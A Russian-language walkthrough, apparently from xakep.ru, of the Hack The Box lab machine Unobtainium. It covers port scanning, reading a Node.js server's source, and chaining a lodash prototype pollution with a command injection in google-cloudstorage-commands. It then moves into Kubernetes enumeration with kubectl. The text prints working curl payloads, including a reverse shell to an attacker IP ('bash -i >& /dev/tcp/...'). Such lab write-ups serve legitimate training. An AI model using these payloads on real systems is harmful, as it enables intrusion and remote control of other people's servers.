Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
В этой статье я покажу, как проходится сложная машина Unobtainium с площадки Hack The Box. Мы проведем тестирование клиент‑серверного приложения, серверная часть которого написана на Node.js. А затем поработаем с оркестратором Kubernetes и через него захватим флаг рута.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем адрес машины 10.10.10.235 в файл /etc/hosts
как unobtainium.htb
и запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Результат работы скрипта
Результат работы скрипта (продолжение)
Результат работы скрипта (окончание)
По результатам сканирования имеем восемь открытых портов:
Начнем с осмотра сайта.
Стартовая страница сайта
Здесь нам дают только скачать какое‑то приложение, что мы и делаем. Скачиваем пакет .deb и разворачиваем, чтобы не устанавливать на локальный хост. Затем находим исполняемый файл и запускаем приложение.
mkdir ubo ; cd mkdirdpkg-deb -xv unobtainium_1.0.0_amd64.deb ../opt/unobtainium
Распаковка пакета deb
Главное окно приложения
Изучив приложение, понимаем, что оно имеет клиент‑серверную архитектуру. Здесь есть форма отправки сообщений и возможность смотреть список дел.
Список выглядит вот так:
Список todo
Итак, мы узнали, что используется технология Node.js, есть авторизация и разделение привилегий (пункт 1). Поскольку приложение — это клиент, можем предположить, что оно стучится на порт 31337, обнаруженный нами при сканировании. Нам нужно проверить это предположение, а поможет нам в этом Wireshark. Открываем его и запускаем наше приложение снова.
Трафик приложения в Wireshark
Видим, что приложение работает по HTTP и действительно подключается к порту 31337.
Адрес серверной части приложения
Попробуем вручную использовать функции приложения, чтобы узнать, как именно они работают. Запросим список дел и отправим какое‑нибудь сообщение.
Запрос и ответ при обращении к todo
Запрос и ответ при отправке сообщения
Мы можем скопировать оба запроса и перенести их в Burp Repeater для дальнейшего тестирования. Также для удобства можно переименовать вкладки.
PUT / HTTP/1.1Host: unobtainium.htb:31337Connection: keep-aliveContent-Length: 79Accept: application/json, text/javascript, */*; q=0.01User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36Content-Type: application/jsonAccept-Encoding: gzip, deflateAccept-Language: ru{"auth":{"name":"felamos","password":"Winter2021"},"message":{"text":"qwerty"}}
POST /todo HTTP/1.1Host: unobtainium.htb:31337Connection: keep-aliveContent-Length: 73Accept: application/json, text/javascript, */*; q=0.01User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36Content-Type: application/jsonAccept-Encoding: gzip, deflateAccept-Language: ru{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}
Запросы в Burp Repeater
В обоих запросах мест для тестирования два: это параметр text
при отправке сообщения и filename
при запросе файла todo.txt
. Попытка запросить другие файлы (например, /etc/passwd
) ни к чему не привела, а если точнее, привела к зависанию приложения. Но вот в случае пустого запроса мы получим ошибку.
Ошибка
В тексте ошибки видим несколько раскрытых путей к файлам. Так как используется Node.js, запросим важный файл index.js
. Поскольку содержимое файла неформатированное, для удобства отправим его в расширение Burp Hackvector. Выбираем String → Replace и меняем последовательности \n
, \t
и "
на n
, t
и "
.
Стартовая страница сайта
Код на скриншот не помещается, поэтому приведу его ниже.
var root = require("google-cloudstorage-commands");const express = require('express');const { exec } = require("child_process");const bodyParser = require('body-parser');const _ = require('lodash');const app = express();var fs = require('fs');const users =[ {name: 'felamos', password: 'Winter2021'}, {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},];let messages = [];let lastId = 1;function findUser(auth){ return users.find((u) => u.name === auth.name && u.password === auth.password;}app.use(bodyParser.json());app.get('/', (req, res) => { res.send(messages); });app.put('/', (req, res) => { const user = findUser(req.body.auth || {}); if (!user) { res.status(403).send({ok: false, error: 'Access denied'}); return; } const message = { icon: '__', }; _.merge(message, req.body.message, { id: lastId++, timestamp: Date.now(), userName: user.name, }); messages.push(message); res.send({ok: true});});app.delete('/', (req, res) => { const user = findUser(req.body.auth || {}); if (!user || !user.canDelete) { res.status(403).send({ok: false, error: 'Access denied'}); return; } messages = messages.filter((m) => m.id !== req.body.messageId); res.send({ok: true});});app.post('/upload', (req, res) => { const user = findUser(req.body.auth || {}); if (!user || !user.canUpload) { res.status(403).send({ok: false, error: 'Access denied'}); return; } filename = req.body.filename; root.upload("./",filename, true); res.send({ok: true, Uploaded_File: filename});});app.post('/todo', (req, res) => { const user = findUser(req.body.auth || {}); if (!user) { res.status(403).send({ok: false, error: 'Access denied'}); return; } filename = req.body.filename; testFolder = "/usr/src/app"; fs.readdirSync(testFolder).forEach(file => { if (file.indexOf(filename) > -1) { var buffer = fs.readFileSync(filename).toString(); res.send({ok: true, content: buffer}); } });});app.listen(3000);console.log('Listening on port 3000...');
В самом начале подключаются некоторые библиотеки. Так как это Node.js, мы можем запросить файл package.json
, чтобы узнать версии подключаемых библиотек.
Содержимое файла package.json
У нас есть следующие зависимости:
Нам известны технологии, поэтому следует поискать готовые эксплоиты, чтобы понять, какие могут быть уязвимости. Делать это лучше всего при помощи Google.
Поиск уязвимостей с помощью Google
Поиск уязвимостей с помощью Google
Так мы находим две уязвимости в модулях google-cloudstorage-commands и lodash. Первая может дать нам OS Command injection, то есть, другими словами, удаленное выполнение команд. У нас уже есть уязвимый блок кода (ниже приведены скрины из PoC и кода index.js
).
PoC эксплоита google-cloudstorage-commands
Код обработчика метода post из файла index.js
При передаче параметра filename
методом POST на страницу /upload
мы можем выполнить команду. Но перед этим сервер проверяет, имеет ли данный пользователь свойство canUpload
.
Объекты users
Этих свойств у нас нет, но можем их получить. В этом поможет критическая уязвимость в библиотеке lodash. Мы можем использовать атрибут constructor
объекта, представляющего пользователя, чтобы активировать данные привилегии. И у нас снова есть уязвимый блок кода (ниже приведены скрины из PoC и кода index.js
).
Пример уязвимого кода lodash
Код обработчика метода put из файла index.js
При передаче параметра text
методом PUT на страницу /
мы сможем выполнить опасное слияние объектов.
Давай проэксплуатируем это и активируем у себя свойства canUpload
и canDelete
. Для этого отправим следующее сообщение:
{ "text":{ "constructor":{ "prototype":{ "canDelete":true, "canUpload":true } } } }}
Активация привилегий
Получили ответ, что все выполнено без ошибок. Теперь для проверки выполним команду id
, как было описано выше. Результат запишем в файл.
Выполнение команды и запись результата в файл
Осталось прочесть содержимое файла легитимным способом.
Чтение файла
Как можно увидеть, команда успешно выполнена, а вся наша концепция получила подтверждение. Можно выполнить реверс‑шелл.
Справка: реверс-шелл
Обратный шелл — это подключение, которое активирует атакуемая машина, а мы принимаем и таким образом подключаемся к ней, чтобы выполнять команды от лица пользователя, который запустил шелл. Для приема соединения необходимо создать на локальной машине listener, то есть «слушатель».
В таких случаях пригодится rlwrap — readline-оболочка, которая в числе прочего позволяет пользоваться историей команд. Она обычно доступна в репозитории дистрибутива.
apt install rlwrap
В качестве самого листенера при этом можно использовать широко известный netcat.
rlwrap nc -lvp [port]
Чтобы быстро восстанавливать соединение в случае его потери, я написал маленький скрипт на Bash, содержащий две команды. Это те же команды, что представлены в запросах выше, только без чтения файла.
#!/bin/bashcurl -X PUT -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"text":{"constructor":{"prototype":{"canDelete":true, "canUpload":true}}}}}' http://unobtainium.htb:31337/
curl -X POST -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo "bash -i >& /dev/tcp/10.10.14.126/4321 0>&1" | bash"}' http://unobtainium.htb:31337/upload
Флаг пользователя
Теперь, когда мы получили доступ к хосту, нам необходимо собрать информацию. Для этого я обычно использую скрипты PEASS.
Справка: скрипты PEASS для Linux
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Чтобы воспользоваться скриптом, его надо сначала загрузить на локальный хост.
wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
Теперь нужно загрузить его на удаленный хост. В директории со скриптом на локальной машине запустим с помощью Python простой веб‑сервер. После выполнения этой команды веб‑сервер будет прослушивать порт 8000.
python3 -m http.server
А теперь с помощью того же wget
на целевой машине загрузим скрипт с локального хоста на удаленный. После загрузки необходимо дать файлу право на выполнение и выполнить скрипт.
wget http://[ip_локального_хоста]:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
Из вывода LinPEAS я узнал, что на хосте работает пользовательская задача в cron. Каждую минуту происходит поиск и удаление файла kubectl
. А это означает использование оркестратора Kubernetes.
Задачи cron
Kubernetes позволяет управлять кластером контейнеров Linux как единой системой. Kubernetes управляет контейнерами Docker, запускает их на большом количестве хостов, а также обеспечивает совместное размещение и репликацию большого количества контейнеров. Что нам нужно понимать при работе с Kubernetes:
Для работы с кубером нам нужен kubectl, а он удаляется раз в минуту. Скачаем его на локальную машину, а затем загрузим на удаленный хост таким же способом, как и LinPEAS. Я загружаю его под именем kctl
.
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
Теперь файл удаляться не будет, можем поработать с Kubernetes. Благодаря kubectl нам доступна команда can-i
, с помощью которой мы можем проверить свои привилегии на то или иное действие. В ответ будет возвращаться yes
или no
.
В кластере Kubernetes объекты secret
предназначены для хранения конфиденциальной информации, такой как пароли, токены OAuth или ключи SSH. И это первое, что нужно проверить.
kubectl auth can-i list secrets
Проверка секретов
К сожалению, мы не можем просмотреть секреты. Следующее, что нужно проверить, — это пространства имен (namespaces
) — виртуальные кластеры, работающие в одном и том же физическом кластере. Namespaces предоставляют набор уникальных имен для ресурсов. Давай узнаем, можем ли мы получить их.
kubectl auth can-i list namespaces
Проверка пространств имен
Мы можем получить пространства имен следующей простой командой.
kubectl get namespaces
Получение namespaces
По умолчанию в кластере Kubernetes будет создано пространство имен default
, в котором размещаются запускаемые объекты. Пространства kube-public
и kube-system
используются для запуска служебных объектов Kubernetes, необходимых для корректной работы кластера. Но нам (судя по названию) больше интересно пространство имен dev
и системный kube-system
. Но ни в первом, ни во втором пространстве доступа к секретам не имеем.
kubectl auth can-i list secrets -n dev
kubectl auth can-i list secrets -n kube-system
Проверка секретов
С секретами не получилось, посмотрим на поды. Каждый pod состоит из одного или нескольких контейнеров, хранилища, отдельного IP-адреса и опций, которые определяют, как именно контейнеры должны запускаться. Также pod представляет собой некий запущенный процесс в кластере Kubernetes. Но чаще всего в подах используются контейнеры Docker. Посмотрим, можем ли мы получить поды из пространства dev
, а после положительного ответа получим их список.
kubectl auth can-i list pods -n dev
kubectl get pods -n dev
Получение подов в пространстве dev
Давай получим описание пода. Так как это целый контейнер, нам интересна возможность распространения по сети, а из описания сможем узнать адрес.
kubectl describe pod/devnode-deployment-cd86fb5c-6ms8d -n dev
Описание пода
Так, из описания пода devnode-deployment-cd86fb5c-6ms8d мы видим адрес 172.17.0.8
и открытый порт 3000
. Оказалось, что там работает такой же сервис, поэтому мы можем получить доступ уже имеющимся скриптом. Запустим листенер на другом порте локального хоста (я запустил на 5432) и выполним бэкконнект.
curl -X PUT -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"text":{"constructor":{"prototype":{"canDelete":true, "canUpload":true}}}}}' http://172.17.0.8:3000/ ; echocurl -X POST -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo "bash -i >& /dev/tcp/10.10.14.126/5432 0>&1" | bash"}' http://172.17.0.8:3000/upload
Созданный реверс‑шелл
Источник: xakep.ru